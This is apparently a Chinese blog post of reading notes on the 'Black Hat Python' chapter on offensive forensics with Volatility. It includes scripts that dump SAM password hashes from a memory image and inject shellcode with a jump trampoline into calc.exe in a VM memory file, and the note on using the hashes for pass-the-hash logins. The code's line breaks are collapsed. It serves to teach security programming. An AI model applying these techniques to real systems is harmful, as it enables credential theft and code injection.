《Python黑帽子:黑客与渗透测试编程之道》读书笔记(九):自动化攻击取证
目录
- 前言
- 1、Volatility配置
- 2、抓取口令的哈希值
- 3、直接代码注入
- 4、插入shellcode
- 结语
前言
《Python黑帽子:黑客与渗透测试编程之道》的读书笔记,会包括书中源码,并自己将其中一些改写成Python3版本。书是比较老了,anyway,还是本很好的书
本篇是第11章自动化攻击取证,主要是调用Volatility
1、Volatility配置
在code.google.com/p/volatility/downloads/list安装
运行python vol.py imageinfo -f "memorydump.img"
来获取目标配置
最重要的信息如下:
然后运行python vol.py plugin --profile="WinXPSP2x86" arguments
2、抓取口令的哈希值
导出口令的哈希值可以用于离线破解,也可以直接用来进行认证仿冒攻击
- 运行Volatility的hivelist插件定位注册表SAM和system在内存中的偏移:
python vol.py hivelist --profile=WinXPSP2x86 -f "WindowsXPSP2.vmem
- 在获得了注册表的虚拟地址,即偏移后:
python vol.py hashdump -d --profile=WinXPSP2x86 -f "WindowsXPSP2.vmem -y system偏移地址 -s Sam偏移地址
做成脚本
#!usr/bin/env python
#-*- coding:utf8 -*- import sys
import struct
import volatility.conf as conf
import volatility.registry as registry# 要分析的内存文件位置
memory_file = "D:\\Windows XP Professional-f6b49762.vmem"# volatility的下载的路径
sys.path.append("D:\\volatility-2.3")registry.PluginImporter()
config = conf.ConfObject()import volatility.commands as commands
import volatility.addrspace as addrspaceconfig.parse_options()
config.PROFILE = "WinXPSP3x86"
config.LOCATION = "file://%s" % memory_file# 注册全局参数
registry.register_global_options(config, commands.Command)
registry.register_global_options(config, addrspace.BaseAddressSpace)from volatility.plugins.registry.registryapi import RegistryApi
from volatility.plugins.registry.lsadump import HashDump# 实例化一个RegistryApi类对象(包含常用的注册表帮助类)
registry = RegistryApi(config)
# 等同与hivelist命令
registry.populate_offsets()sam_offset = None
sys_offset = None# 循环检索SAM和system键值
for offset in registry.all_offsets:if registry.all_offsets[offset].endswith("\\SAM"):sam_offset = offsetprint "[*] SAM: 0x%08x" % offsetif registry.all_offsets[offset].endswith("\\system"):sys_offset = offsetprint "[*] System: 0x%08x" % offsetif sam_offset is not None and sys_offset is not None:config.sys_offset = sys_offsetconfig.sam_offset = sam_offset# 创建HashDump对象hashdump = HashDump(config)for hash in hashdump.calculate():print hashbreakif sam_offset is None or sys_offset is None:print "[*] Failed to find the system or SAM offsets."
3、直接代码注入
以计算器为例
#!usr/bin/env python
#-*- coding:utf8 -*- from immlib import *class cc_hook(LogBpHook):def __init__(self):LogBpHook.__init__(self)self.imm = Debugger()def run(self, regs):self.imm.log("%08x" % regs['EIP'], regs['EIP'])self.imm.deleteBreakpoint(regs['EIP'])returndef main(args):imm = Debugger()calc = imm.getModule("calc.exe")imm.analyseCode(calc.getCodebase())functions = imm.getAllFunctions(calc.getCodebase())hooker = cc_hook()for function in functions:hooker.add("%08x" % function, function)return "Tracking %d functions." % len(functions)
4、插入shellcode
即最终
#!usr/bin/env python
#-*- coding:utf8 -*- import sys
import structequals_button = 0x01005D51# 要分析的内存文件位置
memory_file = "D:\\Windows XP Professional-f6b49762.vmem"
slack_space = None
trampoline_offset = None# 读入我们的shellcode
sc_fd = open("cmeasure.bin", "rb")
sc = sc_fd.read()
sc_fd.close()sys.path.append("D:\\volatility-2.3")import volatility.conf as conf
import volatility.registry as registryregistry.PluginImporter()
config = conf.ConfObject()import volatility.commands as commands
import volatility.addrspace as addrspaceregistry.register_global_options(config, commands.Command)
registry.register_global_options(config, addrspace.BaseAddressSpace)config.parse_options()
config.PROFILE = "WinXPSP3x86"
config.LOCATION = "file://%s" % memory_fileimport volatility.plugins.taskmods as taskmodsp = taskmods.PSList(config)
for process in p.calculate():if str(process.ImageFileName) == "calc.exe":print "[*] Found calc.exe with PID %d" % process.UniqueProcessIdprint "[*] Hunting for physical offsets...please wait."address_space = process.get_process_address_space()pages = address_space.get_available_pages()# page[0]:页面地址# page[1]:页面大小for page in pages:physical = address_space.vtop(page[0])if physical is not None:fd = open(memory_file, "r+")fd.seek(physical)buf = fd.read(page[1])try:offset = buf.index("\x00" * len(sc))slack_space = page[0] + offsetprint "[*] Found good shellcode location!"print "[*] Virtual address: 0x%08x" % slack_spaceprint "[*] Physical address: 0x%08x" % (physical + offset)print "[*] Injecting shellcode."fd.seek(physical + offset)fd.write(sc)fd.flush()# 创建我们的跳转代码# 对应的汇编指令为:# mov ebx, ADDRESS_OF_SHELLCODE( shellcode地址)# jmp ebxtramp = "\xbb%s" % struct.pack("<L", page[0] + offset)tramp += "\xff\xe3"if trampoline_offset is not None:breakexcept:passfd.close()# 查看目标代码的位置if page[0] <= equals_button and equals_button < (page[0] + page[1] -7):print "[*] Found our trampoline target at: 0x%08x" % (physical)# 计算虚拟偏移v_offset = equals_button - page[0]# 计算物理偏移trampoline_offset = physical+ v_offsetprint "[*] Found our trampoline target at: 0x%08x" % (trampoline_offset)if slack_space is not None:breakprint "[*] Writing trampoline..."fd = open(memory_file, "r+")fd.seek(trampoline_offset)fd.write(tramp)fd.close()print "[*] Done injecting code."
结语
回头去看看vol
《Python黑帽子:黑客与渗透测试编程之道》读书笔记(九):自动化攻击取证相关推荐
- Python黑帽子--黑客与渗透测试编程之道 python3 实现代码
最近在看 Python黑帽子–黑客与渗透测试编程之道 这本书 发现这本书的代码实现都是使用python2 的于是我就想使用python3来实现 缓慢更新中 python2版本 有一个博主写的特别好 这 ...
- Python黑帽子 黑客与渗透测试编程之道(七) 第四章:Scapy:网络的掌控者
1 窃取Email认证 代码: from scapy.all import *def packet_callback(packet):if packet[TCP].payload:mail_packe ...
- Python黑帽子-黑客与渗透测试编程之道
Python黑帽子-黑客与渗透测试编程之道 时间:2018年4月28日 前言 本文参考了两篇资料,优化补全了代码内容 giantbranch 的 Python黑帽子–黑客与渗透测试编程之道 意闲 的 ...
- 关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记
本篇文章是学习<Python黑帽子:黑客与渗透测试编程之道>的笔记,会持续地将书上的代码自己敲一遍,从而让自己对Python的安全编程有更多的了解,同时希望各位可以给给建议,不足之处太多了 ...
- 《Python黑帽子:黑客与渗透测试编程之道》读书笔记(三):scapy——网络的掌控者
目录 前言 1.窃取email认证 2.ARP缓存投毒 3.PCAP文件处理 结语 前言 <Python黑帽子:黑客与渗透测试编程之道>的读书笔记,会包括书中源码,并自己将其中一些改写成P ...
- 《Python黑帽子:黑客与渗透测试编程之道》读书笔记(二):原始套接字和流量嗅探
目录 前言 1.Windows和Linux上的包嗅探 2.解码IP层 3.解码ICMP层 4.发现主机 结语 前言 <Python黑帽子:黑客与渗透测试编程之道>的读书笔记,会包括书中源码 ...
- 《Python黑帽子:黑客与渗透测试编程之道》读书笔记(四):web攻击
目录 前言 1.urllib2 2.开源web应用安装 3.破解目录和文件位置 4.破解HTML表格认证 结语 前言 <Python黑帽子:黑客与渗透测试编程之道>的读书笔记,会包括书中源 ...
- 《Python黑帽子:黑客与渗透测试编程之道》读书笔记(五):扩展burp代理
目录 前言 1.burp的fuzz脚本 2.burp中利用Bing服务 3.利用网站内容生成密码字典 结语 前言 <Python黑帽子:黑客与渗透测试编程之道>的读书笔记,会包括书中源码, ...
- 《Python黑帽子:黑客与渗透测试编程之道》 Web攻击
Web的套接字函数库:urllib2 一开始以urllib2.py命名脚本,在Sublime Text中运行会出错,纠错后发现是重名了,改过来就好: #!/usr/bin/python #coding ...
最新文章
- 重磅直播|激光雷达在高精地图中的应用
- 日期相减 python_如果将excel的数字转化为日期(高级教程)
- qt中QHostAddress与QString相互转换
- java 二叉树特点_二叉树的Java实现及特点总结
- OPPO首部5G手机亮相 10倍混合光学变焦技术惊艳MWC
- 获取移除指定Url参数(原创)
- BOLT UI界面引擎是如何工作的?(BOLT UI入门教程)
- 黑白群晖为Plex添加证书,开启HTTPS访问
- Activiti7工作流+Springboot快速入门
- 九歌计算机在线作诗硬件原理,矣晓沅,孙茂松:计算机的诗意 | 机器写诗的背后...
- 一个基于百度云和图灵的人工智能程序
- 你说南京很好,但不是你最想去的城市,那么,上海呢,要不借这个机会去看看吧--写给自己
- 常见开源规则引擎对比分析
- Kotlin细节十五:作用域函数与 this it 关键字
- 9-java.sql.SQLException: Incorrect string value: ‘\xE9\x82\xA3\xE5\xB0\xB1‘ for column ‘content‘
- 钉钉导航栏分享按钮的显示/隐藏
- android xml画斜线,API返回XML引号通过反斜线
- 受制裁,即 Github 之后,Adobe 也开始大量封禁账号和服务了!
- OC10_数组的内存管理
- 程序员给孩子买什么保险好,要注意避免什么坑呢?